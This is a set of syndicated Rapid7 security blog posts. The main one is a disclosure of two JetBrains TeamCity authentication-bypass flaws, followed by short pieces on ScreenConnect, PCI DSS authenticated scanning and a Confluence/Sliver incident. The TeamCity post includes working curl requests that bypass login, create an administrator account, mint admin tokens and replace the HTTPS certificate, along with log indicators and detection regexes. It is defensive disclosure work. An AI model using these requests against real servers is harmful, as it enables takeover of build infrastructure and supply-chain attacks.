Both vulnerabilities are authentication bypass vulnerabilities, the most severe of which, CVE-2024-27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE, as demonstrated via our exploit:
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Compromising a TeamCity server allows an attacker full control over all TeamCity projects, builds, agents and artifacts, and as such is a suitable vector to position an attacker to perform a supply chain attack.

The second vulnerability, CVE-2024-27199, allows for a limited amount of information disclosure and a limited amount of system modification, including the ability for an unauthenticated attacker to replace the HTTPS certificate in a vulnerable TeamCity server with a certificate of the attacker’s choosing.


On March 3, 2024, JetBrains released TeamCity 2023.11.4 which remediates both CVE-2024-27198 and CVE-2024-27199. Both of these vulnerabilities affect all versions of TeamCity prior to 2023.11.4.

For more details on how to upgrade, please read the JetBrains release blog. Rapid7 recommends that TeamCity customers update their servers immediately, without waiting for a regular patch cycle to occur. We have included sample indicators of compromise (IOCs) along with vulnerability details below.




TeamCity exposes a web server over HTTP port 8111 by default (and can optionally be configured to run over HTTPS). An attacker can craft a URL such that all authentication checks are avoided, allowing endpoints that are intended to be authenticated to be accessed directly by an unauthenticated attacker. A remote unauthenticated attacker can leverage this to take complete control of a vulnerable TeamCity server.


The vulnerability lies in how the jetbrains.buildServer.controllers.BaseController class handles certain requests. This class is implemented in the web-openapi.jar library. We can see below, when a request is being serviced by the handleRequestInternal method in the BaseController class, if the request is not being redirected (i.e. the handler has not issued an HTTP 302 redirect), then the updateViewIfRequestHasJspParameter method will be called.

public abstract class BaseController extends AbstractController {
    // ...snip...
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
            // ...snip...

In the updateViewIfRequestHasJspParameter method listed below, we can see the variable isControllerRequestWithViewName will be set to true if both the current modelAndView has a name, and the servlet path of the current request does not end in .jsp.

We can satisfy this by requesting a URI from the server that will generate an HTTP 404 response. Such a request will generate a servlet path of /404.html. We can note that this ends in .html and not .jsp, so the isControllerRequestWithViewName will be true.

Next we can see the method getJspFromRequest will be called, and the result of this call will be passed to the Java Spring frameworks ModelAndView.setViewName method. The result of doing this allows the attacker to change the URL being handled by the DispatcherServlet, thus allowing an attacker to call an arbitrary endpoint if they can control the contents of the jspFromRequest variable.

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
    String jspFromRequest = this.getJspFromRequest(request);
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {

To understand how an attacker can specify an arbitrary endpoint, we can inspect the getJspFromRequest method below.

This method will retrieve the string value of an HTTP parameter named jsp from the current request. This string value will be tested to ensure it both ends with .jsp and does not contain the restricted path segment admin/.

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;

Triggering the vulnerability

To see how to leverage this vulnerability, we can target an example endpoint. The /app/rest/server endpoint will return the current server version information. If we directly request this endpoint, the request will fail as the request is unauthenticated.

C:\Users\sfewer>curl -ik
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 14 Feb 2024 17:20:05 GMT

Authentication required
To login manually go to "/login.html" page

To leverage this vulnerability to successfully call the authenticated endpoint /app/rest/server, an unauthenticated attacker must satisfy the following three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response. This can be achieved by requesting a non existent resource, e.g.:
    • /hax
  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path. This can be achieved by appending an HTTP query string, e.g.:
    • ?jsp=/app/rest/server
  • Ensure the arbitrary URI path ends with .jsp. This can be achieved by appending an HTTP path parameter segment, e.g.:
    • ;.jsp

Combining the above requirements, the attacker’s URI path becomes:


By using the authentication bypass vulnerability, we can successfully call this authenticated endpoint with no authentication.

C:\Users\sfewer>curl -ik;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""><projects href="/app/rest/projects"/><vcsRoots href="/app/rest/vcs-roots"/><builds href="/app/rest/builds"/><users href="/app/rest/users"/><userGroups href="/app/rest/userGroups"/><agents href="/app/rest/agents"/><buildQueue href="/app/rest/buildQueue"/><agentPools href="/app/rest/agentPools"/><investigations href="/app/rest/investigations"/><mutes href="/app/rest/mutes"/><nodes href="/app/rest/server/nodes"/></server>

If we attach a debugger, we can see the call to ModelAndView.setViewName occurring for the authenticated endpoint specified by the attacker in the jspFromRequest variable.

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)


An attacker can exploit this authentication bypass vulnerability in several ways to take control of a vulnerable TeamCity server, and by association, all projects, builds, agents and artifacts associated with the server.

For example, an unauthenticated attacker can create a new administrator user with a password the attacker controls, by targeting the /app/rest/users REST API endpoint:

C:\Users\sfewer>curl -ik;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

We can verify the malicious administrator user has been created by viewing the TeamCity users in the web interface:

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Alternatively, an unauthenticated attacker can generate a new administrator access token with the following request:

C:\Users\sfewer>curl -ik;.jsp -X POST
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 241
Date: Wed, 14 Feb 2024 17:37:26 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="HaxorToken" creationTime="2024-02-14T09:37:26.726-08:00" value="eyJ0eXAiOiAiVENWMiJ9.RzR2cHVjTGRUN28yRWpiM0Z4R2xrZjZfTTdj.ZWNiMjJlYWMtMjJhZC00NzIwLWI4OTQtMzRkM2NkNzQ3NmFl"/>

We can verify the malicious access token has been created by viewing the TeamCity tokens in the web interface:

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

By either creating a new administrator user account, or by generating an administrator access token, the attacker now has full control over the target TeamCity server.


By default, the TeamCity log files are located in C:\TeamCity\logs\ on Windows and /opt/TeamCity/logs/ on Linux.

Access Token Creation

Leveraging this vulnerability to access resources may leave an entry in the teamcity-javaLogging log file (e.g. teamcity-javaLogging-2024-02-26.log) similar to the following:

26-Feb-2024 07:11:12.794 WARNING [http-nio-8111-exec-1] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI;.jsp?jsp=/app/rest/users/id%3a1/tokens/2vrflIqo%3b.jsp, contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request parameters. Only resource methods using @FormParam will work as expected. Resource methods consuming the request body by other means will not work as expected.

In the above example, the attacker leveraged the vulnerability to access the REST API and create a new administrator access token. In doing so, this log file now contains an entry detailing the URL as processed after the call to ModelAndView.setViewName. Note this logged URL is the rewritten URL and is not the same URL the attacker requested. We can see the URL contains the string ;.jsp as well as a query parameter jsp= which is indicative of the vulnerability. Note, the attacker can include arbitrary characters before the .jsp part, e.g. ;XXX.jsp, and there may be other query parameters present, and in any order, e.g. foo=XXX&jsp=. With this in mind, an example of a more complex logged malicious request is:

27-Feb-2024 07:15:45.191 WARNING [TC: 07:15:45 Processing REST request; http-nio-80-exec-5] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI;O.jsp?WkBR=OcPj9HbdUcKxH3O&pKLaohp7=d0jMHTumGred&jsp=/app/rest/users/id%3a1/tokens/wo4qEmUZ%3bO.jsp&ja7U2Bd=nZLi6Ni, contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request parameters. Only resource methods using @FormParam will work as expected. Resource methods consuming the request body by other means will not work as expected.

A suitable regular expression to match the rewritten URI in the teamcity-javaLogging log file would be ;\S*\.jsp\?\S*jsp= while the regular expression \/\S*\?\S*jsp=\S*;\.jsp will match against both the rewritten URI and the attacker’s original URI (Although it is unknown where the original URI will be logged to).

If the attacker has leveraged the vulnerability to create an access token, the token may have been deleted. Both the teamcity-server.log and the teamcity-activities.log will contain the below line to indicate this. We can see the token name being deleted 2vrflIqo (A random string chosen by the attacker) corresponds to the token name that was created, as shown in the warning message in the teamcity-javaLogging log file.

[2024-02-26 07:11:25,702]   INFO - s.buildServer.ACTIVITIES.AUDIT - delete_token_for_user: Deleted token "2vrflIqo" for user "user with id=1" by "user with id=1"
Malicious Plugin Upload

If an attacker uploaded a malicious plugin in order to achieve arbitrary code execution, both the teamcity-server.log and the teamcity-activities.log may contain the following lines, indicating a plugin was uploaded and subsequently deleted in quick succession, and authenticated with the same user account as that of the initial access token creation (e.g. ID 1).

[2024-02-26 07:11:13,304]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_uploaded: Plugin "WYyVNA6r" was updated by "user with id=1" with comment "Plugin was uploaded to C:\ProgramData\JetBrains\TeamCity\plugins\"
[2024-02-26 07:11:24,506]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_disable: Plugin "WYyVNA6r" was disabled by "user with id=1"
[2024-02-26 07:11:25,683]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_deleted: Plugin "WYyVNA6r" was deleted by "user with id=1" with comment "Plugin was deleted from C:\ProgramData\JetBrains\TeamCity\plugins\"

The malicious plugin uploaded by the attacker may have artifacts left in the TeamCity Catalina folder, e.g. C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_WYyVNA6r\ on Windows or /opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_WYyVNA6r/ on Linux. The plugin name WYyVNA6r has formed part of the folder name TC_147512_WYyVNA6r. The number 147512 is the build number of the TeamCity server.

There may be plugin artifacts remaining in the webapps plugin folder, e.g. C:\TeamCity\webapps\ROOT\plugins\WYyVNA6r\ on Windows or /opt/TeamCity/webapps/ROOT/plugins/WYyVNA6r/ on Linux.

There may be artifacts remaining in the TeamCity data directory, for example C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\WYyVNA6r\ on Windows, or /home/teamcity/.BuildServer/system/caches/plugins.unpacked/WYyVNA6r/ on Linux.

A plugin must be disabled before it can be deleted. Disabling a plugin leaves a permanent entry in the disabled-plugins.xml configuration file (e.g. C:\ProgramData\JetBrains\TeamCity\config\disabled-plugins.xml on Windows):

<?xml version="1.0" encoding="UTF-8"?>

  <disabled-plugin name="WYyVNA6r" />


The attacker may choose the name of both the access token they create, and the malicious plugin they upload. The example above used the random string 2vrflIqo for the access token, and WYyVNA6r for the plugin. The attacker may have successfully deleted all artifacts from their malicious plugin.

The TeamCity administration console has an Audit page that will display activity that has occurred on the server. The deletion of an access token, and the uploading and deletion of a plugin will be captured in the audit log, for example:
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

This audit log is stored in the internal database data file (e.g. C:\ProgramData\JetBrains\TeamCity\system\ on Windows or /home/teamcity/.BuildServer/system/ on Linux).

Administrator Account Creation

To identify unexpected user accounts that may have been created, inspect the TeamCity administration console’s Audit page for newly created accounts.
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Both the teamcity-server.log and the teamcity-activities.log may contain entries indicating a new user account has been created. The information logged is not enough to determine if the created user account is malicious or benign.

[2024-02-26 07:45:06,962]   INFO - tbrains.buildServer.ACTIVITIES - New user created: user with id=23
[2024-02-26 07:45:06,962]   INFO - s.buildServer.ACTIVITIES.AUDIT - user_create: User "user with id=23" was created by "user with id=23"



We have also identified a second authentication bypass vulnerability in the TeamCity web server. This authentication bypass allows for a limited number of authenticated endpoints to be reached without authentication. An unauthenticated attacker can leverage this vulnerability to both modify a limited number of system settings on the server, as well as disclose a limited amount of sensitive information from the server.


Several paths have been identified that are vulnerable to a path traversal issue that allows a limited number of authenticated endpoints to be successfully reached by an unauthenticated attacker. These paths include, but may not be limited to:

  • /res/
  • /update/
  • /.well-known/acme-challenge/

It was discovered that by leveraging the above paths, an attacker can use double dot path segments to traverse to an alternative endpoint, and no authentication checks will be enforced. We were able to successfully reach a limited number of JSP pages which leaked information, and several servlet endpoints that both leaked information and allowed for modification of system settings. These endpoints were:

  • /app/availableRunners
  • /app/https/settings/setPort
  • /app/https/settings/certificateInfo
  • /app/https/settings/defaultHttpsPort
  • /app/https/settings/fetchFromAcme
  • /app/https/settings/removeCertificate
  • /app/https/settings/uploadCertificate
  • /app/https/settings/termsOfService
  • /app/https/settings/triggerAcmeChallenge
  • /app/https/settings/cancelAcmeChallenge
  • /app/https/settings/getAcmeOrder
  • /app/https/settings/setRedirectStrategy
  • /app/pipeline
  • /app/oauth/space/createBuild.html

For example, an unauthenticated attacker should not be able to reach the /admin/diagnostic.jsp endpoint, as seen below:

C:\Users\sfewer>curl -ik --path-as-is
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Thu, 15 Feb 2024 13:00:40 GMT

Authentication required
To login manually go to "/login.html" page

However, by using the path /res/../admin/diagnostic.jsp, an unauthenticated attacker can successfully reach this endpoint, disclosing some information about the TeamCity installation. Note, the output below was edited for brevity.

C:\Users\sfewer>curl -ik --path-as-is
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER


          <div>Java version: 17.0.7</div>
          <div>Java VM info: OpenJDK 64-Bit Server VM</div>
          <div>Java Home path: c:\TeamCity\jre</div>

            <div>Server: Apache Tomcat/9.0.83</div>

          <div>JVM arguments:
            <pre style="white-space: pre-wrap;"> -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/ --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:\TeamCity\bin\..\conf\ -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,address=4444,suspend=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/ -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:\TeamCity\bin\..\logs -Dignore.endorsed.dirs= -Dcatalina.base=c:\TeamCity\bin\.. -Dcatalina.home=c:\TeamCity\bin\..\TeamCity\bin\..\temp </pre>

A request to the endpoint /.well-known/acme-challenge/../../admin/diagnostic.jsp or /update/../admin/diagnostic.jsp will also achieve the same results.

Another interesting endpoint to target is the /app/https/settings/uploadCertificate endpoint. This allows an unauthenticated attacker to upload a new HTTPS certificate of the attacker’s choosing to the target TeamCity server, as well as change the port number the HTTPS service listens on. For example, we can generate a self-signed certificate with the following commands:

C:\Users\sfewer\Desktop>openssl ecparam -name prime256v1 -genkey -noout -out private-eckey.pem

C:\Users\sfewer\Desktop>openssl ec -in private-eckey.pem -pubout -out public-key.pem
read EC key
writing EC key

C:\Users\sfewer\Desktop>openssl req -new -x509 -key private-eckey.pem -out cert.pem -days 360
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:HaxorState
Locality Name (eg, city) []:HaxorCity
Organization Name (eg, company) [Internet Widgits Pty Ltd]:HaxorOrganization
Organizational Unit Name (eg, section) []:HaxorUnit
Common Name (e.g. server FQDN or YOUR name) []
Email Address []:

C:\Users\sfewer\Desktop>openssl pkcs8 -topk8 -nocrypt -in private-eckey.pem -out hax.key

An unauthenticated attacker can perform a POST request with a path of /res/../app/https/settings/uploadCertificate in order to upload a new HTTPS certificate.

C:\Users\Administrator\Desktop>curl -vk --path-as-is -X POST -H "Accept: application/json" -F [email protected] -F [email protected] -F port=4141
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying
* Connected to ( port 8111 (#0)
> POST /res/../app/https/settings/uploadCertificate HTTP/1.1
> Host:
> User-Agent: curl/7.83.1
> Accept: application/json
> Content-Length: 1591
> Content-Type: multipart/form-data; boundary=------------------------cdb2a7dd5322fcf4
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< X-Frame-Options: sameorigin
< Strict-Transport-Security: max-age=31536000;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Referrer-Policy: origin-when-cross-origin
< mixed-content: noupgrade
< TeamCity-Node-Id: MAIN_SERVER
< Content-Type: application/json
< Content-Length: 0
< Date: Thu, 15 Feb 2024 14:06:02 GMT
* Connection #0 to host left intact

If we log into the TeamCity server, we can verify the HTTPS certificate and port number have been modified.
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

An attacker could perform a denial of service against the TeamCity server by either changing the HTTPS port number to a value not expected by clients, or by uploading a certificate that will fail client side validation. Alternatively, an attacker with a suitable position on the network may be able to perform either eavesdropping or a man-in-the-middle attack on client connections, if the certificate the attacker uploads (and has a private key for) will be trusted by the clients.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-27198 and CVE-2024-27199 with vulnerability checks expected to be available in the March 4 content release.


  • February 15, 2024: Rapid7 makes initial contact with JetBrains via email.
  • February 19, 2024: Rapid7 makes a second contact attempt to JetBrains via email. JetBrains acknowledges outreach.
  • February 20, 2024: Rapid7 provides JetBrains with a technical analysis of the issues; JetBrains confirms they were able to reproduce the issues the same day.
  • February 21, 2024: JetBrains reserves CVE-2024-27198 and CVE-2024-27199. JetBrains suggests releasing patches privately before a public disclosure of the issues. Rapid7 responds, emphasizing the importance of coordinated disclosure and our stance against silently patching vulnerabilities.
  • February 22, 2024: JetBrains requests additional information on what Rapid7 considers to be silent patching.
  • February 23, 2024: Rapid7 reiterates our disclosure policy, sends JetBrains our material on silent patching. Rapid7 requests additional information about the affected product version numbers and additional mitigation guidance.
  • March 1, 2024: Rapid7 reiterates the previous request for additional information about affected product versions and vendor mitigation guidance.
  • March 1, 2024: JetBrains confirms which CVEs will be assigned to the vulnerabilities. JetBrains says they are “still investigating the issue, its root cause, and the affected versions” and that they hope to have updates for Rapid7 “next week.”
  • March 4, 2024: Rapid7 notes that JetBrains has published a blog announcing the release of TeamCity 2023.11.4. After looking at the release, Rapid7 confirms that JetBrains has patched the vulnerabilities. Rapid7 contacts JetBrains expressing concern that a patch was released without notifying or coordinating with our team, and without publishing advisories for the security issues. Rapid7 reiterates our vulnerability disclosure policy, which stipulates: “If Rapid7 becomes aware that an update was made generally available after reporting the issue to the responsible organization, including silent patches which tend to hijack CVD norms, Rapid7 will aim to publish vulnerability details within 24 hours.” Rapid7 also asks whether JetBrains is planning on publishing an advisory with CVE information.
  • March 4, 2024: JetBrains publishes a blog on the security issues (CVE-2024-27198 and CVE-2024-27199). JetBrains later responds indicating they have published an advisory with CVEs, and CVEs are also included in release notes. JetBrains does not respond to Rapid7 on the uncoordinated disclosure.
  • March 4, 2024: This disclosure.

High-Risk Vulnerabilities in ConnectWise ScreenConnect

Post Syndicated from Rapid7 original

High-Risk Vulnerabilities in ConnectWise ScreenConnect

On February 19, 2024 ConnectWise disclosed two vulnerabilities in their ScreenConnect remote access software. Both vulnerabilities affect ScreenConnect 23.9.7 and earlier. While neither vulnerability has a CVE assigned as of February 20, the two issues mentioned in ConnectWise’s advisory are:

  • An authentication bypass using an alternate path or channel (CVSS 10)
  • A path traversal issue (CVSS 8.4)

ScreenConnect is popular remote access software used by many organizations globally; it has also been abused by adversaries in the past. There appear to be some 7,500+ instances of ScreenConnect exposed to the public internet. The vulnerabilities are not known to be exploited in the wild as of February 20.

Security news media and security vendors are raising strong alarms about the ScreenConnect vulnerabilities, largely because of the potential for attackers to exploit vulnerable ScreenConnect instances to then push ransomware to downstream clients. This may be a particular concern for managed service providers (MSPs) or managed security services providers (MSSPs) who use ScreenConnect to remotely manage client environments.

Mitigation guidance

All versions of ConnectWise ScreenConnect before 23.9.8 are vulnerable to these (CVE-less) issues. Customers who have on-premise ScreenConnect instances in their environments should apply the 23.9.8 update immediately, per ConnectWise’s guidance.

Rapid7 customers

Our engineering team is researching new vulnerability checks for these issues. We hope to release vulnerability checks for InsightVM and Nexpose customers in tomorrow’s (February 21) content release. We will update this blog with further information and ETAs as our investigation continues.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on post-exploitation behavior related to these vulnerabilities:

  • Attacker Technique – Remote Access Via ScreenConnect
  • Attacker Technique – Command Execution Via ScreenConnect
  • Suspicious Process – ScreenConnect with RunRole Argument

Explanation of New Authenticated Scanning PCI DSS Requirement in PCI DSS V4.0 and how InsightVM can help meet the Requirement

Post Syndicated from Rapid7 original

Explanation of New Authenticated Scanning PCI DSS Requirement in PCI DSS V4.0 and how InsightVM can help meet the Requirement

By: Dominick Vitolo, VP of Security Services, MegaplanIT

As a Certified Qualified Security Assessor (QSA) company and a trusted Rapid7 partner, MegaplanIT is committed to guiding organizations through the complexities of compliance and security standards.

PCI DSS version 4.0 is a significant update on the horizon and is set to take effect March 31, 2025. One of the key changes around vulnerability scanning within this update is requirement This new requirement mandates authenticated internal vulnerability scans.

Here, we’ll shed light on why organizations should immediately transition to authenticated vulnerability scanning and how Rapid7’s InsightVM can facilitate this essential change.

The Shift in PCI DSS 4.0

New Requirement

Under PCI DSS 4.0, requirement introduces the need for authenticated internal vulnerability scans, marking a departure from the widely practiced unauthenticated scans.

Currently, many organizations rely on unauthenticated scanning which, while useful, offers limited visibility into system vulnerabilities. In previous versions the PCI DSS never specifically called out the need for authenticated vulnerability scanning internally, which led the requirement subject to interpretation.

This established procedure from retirement 11.3.1 remains applicable and is complemented by the new requirement mandating authenticated internal vulnerability scans.

  • Scans must be conducted at least every three months.
  • All high-risk and critical vulnerabilities – as defined by the entity’s own risk rankings established in Requirement 6.3.1 – must be remediated.
  • Follow-up rescans are required to verify the resolution of these high-risk and critical vulnerabilities.
  • The scanning tool used must be regularly updated with the latest vulnerability information.
  • The scans must be carried out by qualified individuals, and there must be an organizational separation between the testers and the systems they are testing.

MegaplanIT Perspective: Why Adopt Authenticated Scanning Now Before the Requirement Takes Effect?

  1. Deeper security insights: Authenticated scans delve into systems more deeply, uncovering vulnerabilities that unauthenticated scans may miss. This depth is critical for maintaining robust security.
  2. Proactive compliance strategy: We always advocate for early adoption of new standards. It allows for a smoother transition and avoids the rush associated with impending compliance deadlines. Authenticated vulnerability scanning typically uncovers a greater number of vulnerabilities than unauthenticated scanning. Consequently, this will necessitate a greater allocation of internal resources for planning and executing remediation strategies.
  3. Enhanced risk management: Authenticated scanning enables more effective identification and remediation of vulnerabilities, thus fortifying your defense against potential breaches. Authenticated vulnerability scanning may also lead to a reduced number of false positives.
  4. Operational efficiency: Early adoption allows for the refinement of scanning processes, ensuring they become a seamless part of your security routine and may also lead to a reduced amount of false positives.

How Rapid7’s InsightVM Aligns with This Transition

Credential-Based Scanning

InsightVM’s capability to perform scans with provided credentials aligns perfectly with the authenticated scanning requirements of PCI DSS 4.0. Scanning with credentials allows you to gather information about your network and assets that you could not otherwise access. You can inspect assets for a wider range of vulnerabilities or security policy violations.

Additionally, authenticated scans can check for software applications and packages as well as verify patches. When you scan a site with credentials, target assets in that site authenticate the Scan Engine as they would an authorized user.

Leveraging the Rapid7 Insight Agent

Rapid7’s universal Insight Agent gathers extensive vulnerability data, supporting the authenticated scanning process effectively.

Advantages of Implementing InsightVM

  • Comprehensive detection: InsightVM is equipped with a vast and continuously updated repository of known vulnerabilities and identification of configuration issues.
  • Targeted remediation guidance: Detailed insights facilitate prioritized and effective remediation efforts.
  • User-friendly interface: IT teams experience a simplified transition, making the process less daunting.

Transitioning to authenticated internal vulnerability scanning in order to meet the control requirements of PCI DSS 4.0 is a crucial step towards strengthening your organization’s security posture. As a certified QSA, MegaplanIT strongly recommends that organizations begin this shift now.

Tools like Rapid7’s InsightVM are pivotal in this journey, offering a comprehensive, scalable, and user-friendly solution. By embracing this change today, your organization will not only be compliant, but also significantly more secure against ever-evolving cyber threats.

RCE to Sliver: IR Tales from the Field

Post Syndicated from Rapid7 original

RCE to Sliver: IR Tales from the Field

*Rapid7 Incident Response consultants Noah Hemker, Tyler Starks, and malware analyst Tom Elkins contributed analysis and insight to this blog.*

Rapid7 Incident Response was engaged to investigate an incident involving unauthorized access to two publicly-facing Confluence servers that were the source of multiple malware executions. Rapid7 identified evidence of exploitation for CVE-2023-22527 within available Confluence logs. During the investigation, Rapid7 identified cryptomining software and a Sliver Command and Control (C2) payload on in-scope servers. Sliver is a modular C2 framework that provides adversarial emulation capabilities for red teams; however, it’s also frequently abused by threat actors. The Sliver payload was used to action subsequent threat actor objectives within the environment. Without proper security tooling to monitor system network traffic and firewall communications, this activity would have progressed undetected leading to further compromise.

Rapid7 customers

Rapid7 consistently monitors emergent threats to identify areas for new detection opportunities. The recent appearance of Sliver C2 malware prompted Rapid7 teams to conduct a thorough analysis of the techniques being utilized and the potential risks. Rapid7 InsightIDR has an alert rule Suspicious Web Request - Possible Atlassian Confluence CVE-2023-22527 Exploitation available for all IDR customers to detect the usage of the text-inline.vm consistent with the exploitation of CVE-2023-22527. A vulnerability check is also available to InsightVM and Nexpose customers. A Velociraptor artifact to hunt for evidence of Confluence CVE-2023-22527 exploitation is available on the Velociraptor Artifact Exchange here. Read Rapid7’s blog on CVE-2023-22527.

Observed Attacker Behavior

Rapid7 IR began the investigation by triaging available forensic artifacts on the two affected publicly-facing Confluence servers. These servers were both running vulnerable Confluence software versions that were abused to obtain Remote Code Execution (RCE) capabilities. Rapid7 reviewed server access logs to identify the presence of suspicious POST requests consistent with known vulnerabilities, including CVE-2023-22527. This vulnerability is a critical OGNL injection vulnerability that abuses the text-inline.vm component of Confluence by sending a modified POST request to the server.

Evidence showed multiple instances of exploitation of this CVE, however, evidence of an embedded command would not be available within the standard header information logged within access logs. Packet Capture (PCAP) was not available to be reviewed to identify embedded commands, but the identified POST requests are consistent with the exploitation of the CVE.
The following are a few examples of the exploitation of the Confluence CVE found within access logs:

Access.log Entry
POST /template/aui/text-inline.vm HTTP/1.0 200 5961ms 7753 – Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
POST /template/aui/text-inline.vm HTTP/1.0 200 70ms 7750 – Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
POST /template/aui/text-inline.vm HTTP/1.0 200 247ms 7749 – Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

Evidence showed the execution of a curl command post-exploitation of the CVE resulting in the dropping of cryptomining malware to the system. The IP addresses associated with the malicious POST requests to the Confluence servers matched the IP addresses of the identified curl command. This indicates that the dropped cryptomining malware was directly tied to Confluence CVE exploitation.
